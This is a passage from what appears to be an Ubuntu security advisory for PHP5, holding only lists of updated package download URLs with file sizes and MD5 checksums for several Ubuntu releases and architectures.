    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pgsql_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:    55956 5d7e0c205187e50c538c541b381dd5b2
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pspell_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:     9658 9250537d5a1455e79af7e873752c0053
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-recode_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:     5018 3f7e497354e49029bef6d94d3fad6dff
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-snmp_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:    12380 7dbade72cb242f73d3c58fa60ec80ea5
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sqlite_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:    39568 194902c1041cf88040f62fb00c014292
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sybase_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:    19858 f265bb2a623cd5a3a2cbd6e6d0d90258
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-tidy_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:    17916 e5cf2184c30b353a2a2d1c77ff192b0b
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xmlrpc_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:    40846 b4fab24add12ab0bcba89da5ffe9bb16
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xsl_5.2.3-1ubuntu6.5_amd64.deb
      Size/MD5:    13400 ccc946cafd032b7376d0f98a3d791fef

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/libapache2-mod-php5_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:  2545354 ef720da7a5b5fbb09a3ca2a381a7b049
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cgi_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:  5030078 82e9ea17ba4a922df38aaf57c47bb40e
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cli_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:  2532718 0e9353873b6221314d487fa793311205
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-common_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:   220476 a8664db13fea056b754dda67974bd23c
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-curl_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:    23870 b2d1a302d7ca6d46ee41380b22b4fdf3
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-dev_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:   355132 5e5eef5c8894e8854cc46685b1ad285a
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gd_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:    33672 6300d76184664b4d833b40683588a2e8
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-ldap_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:    17998 6bc58fe07f8f41174be27fab2ca4ff4e
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mhash_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:     5214 1571595c42a68f6d90341752274117f8
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysql_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:    65282 75001bf5cbc4c2c520156a97ef54ad2c
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-odbc_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:    34486 0cbcc395fb367e9e6340b7fd962db48f
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pgsql_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:    51356 ae64f04fab4238f41f84c8a3385d117a
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pspell_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:     8718 a3f5900b9c142b7e3898164fb43ceda1
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-recode_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:     4790 4ebcbabfe8a795ae34e9ebc7ae24979d
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-snmp_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:    11590 80d71cfab34c2c0f2bbc7875e59a6a23
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sqlite_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:    34542 efdaac38461dee07997d7041a27045c8
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sybase_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:    18170 b331e6ea215d25be24045900912ac305
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-tidy_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:    16382 a4546a91930c462eb972ed52f85fcba0
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xmlrpc_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:    37728 a3c8063a6319fee7c5a7838bdec263e1
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xsl_5.2.3-1ubuntu6.5_i386.deb
      Size/MD5:    12424 e4c1970f0ded2a81e94374746dd03ab0

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/p/php5/libapache2-mod-php5_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:  2516880 22552ccde5ce2554904f90c6ea3b6c65
    http://ports.ubuntu.com/pool/main/p/php5/php5-cgi_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:  4974774 6723a9195536f4514f898720fd802e5d
    http://ports.ubuntu.com/pool/main/p/php5/php5-cli_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:  2504402 55fa8af3ef7e8cc620d960f0f3d40ab6
    http://ports.ubuntu.com/pool/main/p/php5/php5-common_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:   219960 706b770f5c69d4afb55347c1e596037b
    http://ports.ubuntu.com/pool/main/p/php5/php5-curl_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:    23268 9b4ffc382c050d4628dfa65ad33c64c7
    http://ports.ubuntu.com/pool/main/p/php5/php5-dev_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:   355114 c376c57081382651a10e3c4edea1607a
    http://ports.ubuntu.com/pool/main/p/php5/php5-gd_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:    32974 b4ed69e3269313e6dc18a59edb222561
    http://ports.ubuntu.com/pool/main/p/php5/php5-ldap_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:    17886 fcdcdae6afc42501a6db07d4aff6d545
    http://ports.ubuntu.com/pool/main/p/php5/php5-mhash_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:     5122 df18d2c6617f4d7eb48cb9b298b04d9a
    http://ports.ubuntu.com/pool/main/p/php5/php5-mysql_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:    64120 b3c5de7da7306fb36726e8d3e674980b
    http://ports.ubuntu.com/pool/main/p/php5/php5-odbc_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:    34004 fc2407202072af3a250c8f8171c0da75
    http://ports.ubuntu.com/pool/main/p/php5/php5-pgsql_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:    50826 3da0e32c89d8faebe5b2548dbf681767
    http://ports.ubuntu.com/pool/main/p/php5/php5-pspell_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:     8674 b99de9e079a2b5b99abeabcee0b2d7f1
    http://ports.ubuntu.com/pool/main/p/php5/php5-recode_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:     4742 c720524fc25dfbba45a6d73b075af9de
    http://ports.ubuntu.com/pool/main/p/php5/php5-snmp_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:    11534 3847f6ecafa0cea61beddca0b52e8c68
    http://ports.ubuntu.com/pool/main/p/php5/php5-sqlite_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:    33784 0b2d10081afe90988616a2c18f7a8af9
    http://ports.ubuntu.com/pool/main/p/php5/php5-sybase_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:    18100 7e095c91cdd44902d32523804f66de1c
    http://ports.ubuntu.com/pool/main/p/php5/php5-tidy_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:    16056 606a72ceee7bcbb46b54a8031f190fdf
    http://ports.ubuntu.com/pool/main/p/php5/php5-xmlrpc_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:    36846 373baef53fa5a3ed8e7aef305adf16e6
    http://ports.ubuntu.com/pool/main/p/php5/php5-xsl_5.2.3-1ubuntu6.5_lpia.deb
      Size/MD5:    12256 9d6022687f8e604735cacc6d3f3beb87

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/libapache2-mod-php5_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:  2745478 36e7be2b49cf0796e2ad7004f3419bfc
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cgi_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:  5274888 679f701e0085f096f1afbe99638a6295
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cli_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:  2656356 c2c6ef3d680c6b710b0d9e1562a9b368
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-common_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:   227446 215ec2bd503829f41612dd34d44897a5
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-curl_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:    28104 e0e8ea6ec191215f3348a07601d5c1c0
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-dev_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:   355162 8d666f8f1898c3f7a86d12319ca0ae5a
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gd_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:    39298 b726434bab3f2d9605d013d95360f17b
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-ldap_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:    21754 0a8efa783469a8612ef886509609d0ad
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mhash_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:     7670 e333f388530d33b51a491f0a541cb2f4
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysql_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:    78124 8dbd3d0a164203b9555a59fd2d2dcc17
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-odbc_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:    41020 b540aa18a4662679e666dc9497438ff8
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pgsql_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:    59636 13066c41593daa636859b790fdd84877
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pspell_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:    11284 b899966d2e22c73578cda449137d517f
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-recode_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:     7198 2f8f26a559194fb5266743cdf8bb82cd
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-snmp_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:    14152 8f1f59072f6d4b75ce08726908b3dd7d
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sqlite_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:    42736 e3b627f38b66c4ebeaccd12c332a1ffa
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sybase_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:    21898 6e467d5ae4e8b5ac5c9b98008e4eea2d
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-tidy_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:    20248 bdb08ff8d9dcd5fb10fe7a9e00e64e23
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xmlrpc_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:    43172 a01e8e0052f9c69199b681b413cf4ec1
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xsl_5.2.3-1ubuntu6.5_powerpc.deb
      Size/MD5:    15502 23ac62e2257206f200bc9377a5609e6d

  sparc architecture (Sun SPARC/UltraSPARC):

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/libapache2-mod-php5_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:  2578692 7ea7640bacd789e581d1812701ecc776
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cgi_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:  5025314 966afc68f53811dda0e23cfe0c43d9ae
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cli_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:  2531546 ddcfc3b266c738398fb2547e0e719b2a
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-common_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:   220416 2acbc470a4bba4aa7e403ab15b65ca35
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-curl_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:    24548 8c81b59c47ca1b656a8e6035003a3878
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-dev_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:   355126 649e23a1ff372176d8ff34635a77f00d
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gd_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:    34486 46ce1e1ac7b553ebd64c50a0bf9ab5c4
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-ldap_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:    17994 2aa44972f95ec31f72e37aea5cd92020
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mhash_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:     5098 337cee5b22ba77f286891a226ae339b2
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysql_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:    64830 a0e45caccb804175301a582c57955ac0
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-odbc_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:    32904 0f2d42f799c5e737356cdeb7ad5b5943
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pgsql_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:    50188 ce65842fdeaaea84970c95c86ae8f30e
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pspell_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:     8644 971786ab8ead2717e6f35950edcd90e8
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-recode_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:     4782 35f9d16a979431aed5c71e8be44dd88c
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-snmp_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:    11456 026e2624d20d67a5997a54f0f284413d
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sqlite_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:    33308 1e8e3c2597f33d2b64f93089f210f23c
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sybase_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:    17950 8b673521ad7c379fd0f5f9c41575403c
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-tidy_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:    16524 82a7e8f4c202addd6d7c3c24ac48f94b
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xmlrpc_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:    36608 f28d18bc4eb5f8a6a52ed231f1aa79a0
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xsl_5.2.3-1ubuntu6.5_sparc.deb
      Size/MD5:    11984 c049c8846cb22c610338b3d945a9b1aa

Updated packages for Ubuntu 8.04 LTS:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.2.4-2ubuntu5.5.diff.gz
      Size/MD5:   146479 10ac048a76b0ff80d3a2822c343b95ec
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.2.4-2ubuntu5.5.dsc
      Size/MD5:     1969 af68f9f90223f4a06c8a5d9a5a16d216
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.2.4.orig.tar.gz
      Size/MD5:  9705468 0826e231c3148b29fd039d7a8c893ad3

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php-pear_5.2.4-2ubuntu5.5_all.deb
      Size/MD5:   355284 0b72fe4f5536bb30222f979ad733cf3e
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.2.4-2ubuntu5.5_all.deb
      Size/MD5:     1082 ded378e03c6129e651fdfb75ed550682

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/libapache2-mod-php5_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:  2612442 0bd4d3b78e65b64077c3cad6921f260e
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cgi_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:  5086370 1200e08582ac2439109824f8f47c6556
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cli_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:  2570184 a2c97c1015bbc0f91cab84a9fe295f14
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-common_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:   319496 ee17f190f70e852ed123ea34ad2fa9bc
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-curl_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:    25028 070883cd3354088da169dce12271eb52
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-dev_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:   364464 1326f897bbab2dc864e76dde14f3a46b
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gd_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:    37332 9da0bfc23767b07391c8872b2e83f167
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gmp_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:    17620 ba8293b0206adfeb6195779c669ff3a8
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-ldap_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:    20268 a9ef26196f4098064bfbd58a02f1d1e8
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mhash_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:     5544 a81da6d9aee5bef3a56d376097287a58
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysql_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:    74418 6759940215dcfc5443bd8bbcab7ceba0
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-odbc_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:    37710 631ba3e2bb206c51ca2f9217fc01ac2b
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pgsql_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:    56162 dadf8db341097abe1a4c941afd20d714
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pspell_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:     9538 a778328b8f810803315a35102cb6bd45
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-recode_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:     5030 00de039d02559be22455d523e1f8634f
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-snmp_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:    12414 21885276af0536ad8c218ce29304ee8d
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sqlite_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:    39640 f8490593c19b25ef66526ae6bf9b694b
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sybase_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:    28674 1cad1d1087dc9c3ad74a98a8a79062eb
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-tidy_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:    17884 be514e0c9ce134a42bf28d62b4f7a8e4
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xmlrpc_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:    38536 1f79cce7e897fbb63477bc5e6eea402c
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xsl_5.2.4-2ubuntu5.5_amd64.deb
      Size/MD5:    13544 2eece1acf96eb3dba477804353a2a470

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/libapache2-mod-php5_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:  2470878 188c868e7c9c6ae32fa2cb02afc34c67
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cgi_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:  4908190 61adb1fd159094942ad178546a635f91
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cli_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:  2477684 5c48e04d4c059b45721739b32791e780
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-common_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:   315554 4b9048117dfd99fe0e0e6365879a909c
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-curl_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:    23652 8aab66ddc14fbcd1a63ce39ea6f949ca
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-dev_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:   364482 c25f546167d6886054488542af233919
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gd_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:    32904 1f804c22fc2cce43b227cb7e2cc6e041
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gmp_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:    14756 0d7c8661084e511812f0be4c3acec6bb
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-ldap_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:    18108 8808e1b2a283d605f579ba4772f5b5b7
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mhash_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:     5224 c1cb19f67409b60e65b47dde30220a18
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysql_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:    65244 26c82add922279a5263bb96ef42c2cd1
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-odbc_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:    34276 650b8f89ba6c06d776e6114b00df30a4
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pgsql_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:    51312 ef926082b88ad770656b6cc86b0b0445
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pspell_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:     8620 08f450d1064d9a7e43ba8939791fd3db
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-recode_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:     4794 54f99857f3a9b5bdee1f2f2de38f33f7
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-snmp_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:    11734 dd4c2566b907a35c87e006d84178eac3
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sqlite_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:    34370 2f434366de974d5d6327e02a29543a8e
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sybase_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:    26248 808c8fa7a6b4e755cf7806303ca032d3
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-tidy_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:    16278 59ac2ab3b629b3633cc2a18d21926ee8
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xmlrpc_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:    35610 59b1d25dd07dce6919870b15a9c7ae10
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xsl_5.2.4-2ubuntu5.5_i386.deb
      Size/MD5:    12592 0bbd507483c6a3f2649b80caea1663fe

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/p/php5/libapache2-mod-php5_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:  2451960 9da83769ea2a0b034e8074620bca9685
    http://ports.ubuntu.com/pool/main/p/php5/php5-cgi_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:  4873544 f1936023c6cb70d3021f0007949e590b
    http://ports.ubuntu.com/pool/main/p/php5/php5-cli_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:  2457836 33ca0f10e21664c017af1f922a715fc3
    http://ports.ubuntu.com/pool/main/p/php5/php5-common_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:   315262 63dbd25a3bd7408135041e88e6b5de5c
    http://ports.ubuntu.com/pool/main/p/php5/php5-curl_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:    23284 0c9bedd508ba9d7052e5da7ef49a720b
    http://ports.ubuntu.com/pool/main/p/php5/php5-dev_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:   364460 29a685c4d78c56dd75526871f756585c
    http://ports.ubuntu.com/pool/main/p/php5/php5-gd_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:    33074 2355208f82f818e36bfba13d980982c0
    http://ports.ubuntu.com/pool/main/p/php5/php5-gmp_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:    15026 45ab94f6e140ec82fc6ab329546317e6
    http://ports.ubuntu.com/pool/main/p/php5/php5-ldap_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:    18104 5eeb784cfb65e67e406e9eb4f77877e3
    http://ports.ubuntu.com/pool/main/p/php5/php5-mhash_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:     5106 47ce8b0f05254aaaf383311a5982296a
    http://ports.ubuntu.com/pool/main/p/php5/php5-mysql_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:    64314 a6128173c9c85174db86e72db02728d1
    http://ports.ubuntu.com/pool/main/p/php5/php5-odbc_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:    33948 ca0cdd2bad4f219a52e3c9223a1aa886
    http://ports.ubuntu.com/pool/main/p/php5/php5-pgsql_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:    50870 0030f17f0038866e5782f625baaa1d1f
    http://ports.ubuntu.com/pool/main/p/php5/php5-pspell_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:     8642 2af8dc509c30a7966d311ae70f39c08e
    http://ports.ubuntu.com/pool/main/p/php5/php5-recode_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:     4722 bf831522853ad1da16ca17e6d3e8829f
    http://ports.ubuntu.com/pool/main/p/php5/php5-snmp_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:    11578 8fd92dee2bacb0b83542c45cd0febcac
    http://ports.ubuntu.com/pool/main/p/php5/php5-sqlite_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:    33768 5387d3ebb0a1ea5eaa027513a18d53a3
    http://ports.ubuntu.com/pool/main/p/php5/php5-sybase_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:    26136 335665fa651a3036269b7eeb9a3c5faa
    http://ports.ubuntu.com/pool/main/p/php5/php5-tidy_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:    16054 6480d2f9fcafee4ba2f04923c023f299
    http://ports.ubuntu.com/pool/main/p/php5/php5-xmlrpc_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:    35330 dc2d166b56d7b27c8eae5ca6618b2532
    http://ports.ubuntu.com/pool/main/p/php5/php5-xsl_5.2.4-2ubuntu5.5_lpia.deb
      Size/MD5:    12440 d6bb80872b84aeac0f8ce881e31a2f03

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/p/php5/libapache2-mod-php5_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:  2621760 b385162733d0d6e77a5e06e9b0ec01eb
    http://ports.ubuntu.com/pool/main/p/php5/php5-cgi_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:  5107926 024b8507c2e59d069d60d0c7e979636c
    http://ports.ubuntu.com/pool/main/p/php5/php5-cli_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:  2577246 514109b4a69d9980f454a7693a62538a
    http://ports.ubuntu.com/pool/main/p/php5/php5-common_5.2.4-2ubuntu5.5_powerpc.deb
